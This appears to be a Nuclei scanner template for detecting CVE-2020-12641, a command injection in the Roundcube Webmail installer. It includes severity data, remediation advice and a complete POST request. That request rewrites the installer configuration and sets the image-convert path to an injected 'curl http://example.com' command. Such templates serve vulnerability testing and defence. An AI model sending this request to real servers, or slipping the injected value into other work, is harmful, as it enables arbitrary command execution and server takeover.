Roundcube Webmail - Command Injection

id: CVE-2020-12641

info:
  name: Roundcube Webmail - Command Injection
  author: domwhewell-sage
  severity: critical
  description: |
    Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary commands on the server, potentially leading to a full compromise of the system.
  remediation: |
    To remediate this vulnerability, update to Roundcube Webmail 1.4.5, 1.3.12 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12641
    - https://github.com/mbadanoiu/CVE-2020-12641
    - http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.html
    - https://github.com/roundcube/roundcubemail/compare/1.4.3...1.4.4
    - https://github.com/roundcube/roundcubemail/releases/tag/1.4.4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12641
    cwe-id: CWE-78
    epss-score: 0.93068
    epss-percentile: 0.99842
    cpe: cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: roundcube
    product: webmail
    shodan-query:
      - http.component:"roundcube"
      - cpe:"cpe:2.3:a:roundcube:webmail"
  tags: cve,cve2020,roundcube,webmail,intrusive,kev

http:
  - method: POST
    path:
      - "{{BaseURL}}/installer/index.php"
      - "{{BaseURL}}/roundcube/installer/index.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: _step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_spellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=localhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=587&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=300&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=enigma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&G&_im_convert_path=curl+http%3a//example.com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Roundcube Webmail Installer'
          - 'The config file was saved successfully'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0a4420659a3394e9e5025e18641751f3593f6ae0511c3c9bd9ae33878817937022044be35995e5f57c435838546ab1bb12186d1339aa300366e03590a3102e2bd07:922c64590222798bb761d5b6d8e72950